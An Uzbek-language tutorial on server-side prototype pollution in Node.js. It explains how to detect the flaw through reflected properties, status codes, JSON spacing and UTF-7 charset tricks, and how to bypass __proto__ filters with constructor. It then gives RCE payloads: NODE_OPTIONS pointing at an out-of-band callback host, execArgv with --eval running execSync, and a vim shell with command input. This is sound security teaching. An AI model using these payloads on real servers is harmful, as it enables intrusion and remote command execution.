Node.js kabi server-side runtime'larning paydo bo'lishi bilan JavaScript endi serverlar va API'larni qurishda keng ishlatiladi. Mantiqan, bu prototype pollution zaifliklari server-side kontekstlarda ham yuzaga kelishi mumkinligini anglatadi. Asosiy tushunchalar bir xil bo'lsa-da, uni aniqlash va ekspluatatsiya qilish qo'shimcha qiyinchiliklarni keltirib chiqaradi.
Oson tuzoq: JavaScriptdagi for...in sikli obyektning prototip zanjiri orqali meros qilib olgan xususiyatlarini ham aylanadi. JSON ma'lumot yuboradigan POST/PUT so'rovlari bu xatti-harakat uchun asosiy nomzodlar, chunki serverlar ko'pincha yangilangan obyektning JSON ko'rinishi bilan javob beradi:
POST /user/update HTTP/1.1
Host: vulnerable-website.com
{
"user":"wiener",
"firstName":"Peter",
"__proto__":{
"foo":"bar"
}
}Agar sayt zaif bo'lsa, kiritilgan foo xususiyati javobdagi yangilangan obyektda paydo bo'ladi. Foydalanuvchi ma'lumotlarini yangilaydigan har qanday funksiya tekshirishga arziydi — o'z foydalanuvchingizga ixtiyoriy xususiyat qo'sha olsangiz, bu imtiyoz oshirishga (privilege escalation) olib kelishi mumkin.
Ko'pincha prototipni muvaffaqiyatli ifloslasangiz ham, xususiyat javobda aks etmaydi. Bunda serverning konfiguratsiya sozlamalariga mos xususiyatlarni kiritib, oldingi va keyingi xatti-harakatni solishtirasiz. Uch texnika:
status xususiyatini o'qiydi. Uni obscure kod (400-599 oralig'ida) bilan ifloslab, xatolik javobidagi status kod o'zgarganini tekshiring.json spaces opsiyasini ifloslab, JSON javobdagi otstup (indentation) o'zgarishini kuzating. Bu juda xavfsiz — sozlamani standart qiymatga qaytarib "o'chirish" mumkin.content-type xususiyatini charset=utf-7 bilan ifloslab, javobda UTF-7 kodlangan satr dekodlanishini tekshiring.Burp Suite uchun Server-Side Prototype Pollution Scanner kengaytmasi bu jarayonni avtomatlashtiradi — uni BApp Store'dan o'rnating va Proxy tarixidagi so'rovlarni skanerlang.
Saytlar ko'pincha __proto__ kabi kalitlarni filtrlaydi. Buni chetlab o'tish mumkin: taqiqlangan kalitlarni obfuskatsiya qilish, yoki __proto__ o'rniga constructor orqali prototipga kirish. Node --disable-proto=delete bayrog'i bilan __proto__ ni o'chirsa ham, constructor texnikasi ishlaydi.
Server-side prototype pollution RCE'ga olib kelishi mumkin. Buyruq ijro sinklari ko'pincha child_process modulida joylashgan. Yangi Node jarayoni yaratilganda Burp Collaborator bilan aloqa qo'zg'atadigan payload orqali zaif so'rovni aniqlash mumkin:
"__proto__": {
"shell":"node",
"NODE_OPTIONS":"--inspect=YOUR-COLLABORATOR-ID.oastify.com"
}child_process.fork() execArgv opsiyasini qabul qiladi — u buyruq qatori argumentlari massivi. Agar developerlar uni aniqlamagan bo'lsa, uni prototype pollution orqali nazorat qilish mumkin. --eval argumenti ixtiyoriy JavaScriptni bajarishga imkon beradi:
"execArgv": [
"--eval=require('child_process').execSync('id')"
]execSync() metodini ham shell va input xususiyatlarini bir vaqtda ifloslab ekspluatatsiya qilish mumkin. Vim yoki ex kabi matn muharrirlari stdin orqali buyruqlarni qabul qilib RCE vektori bo'la oladi:
"shell":"vim",
"input":":! id\n"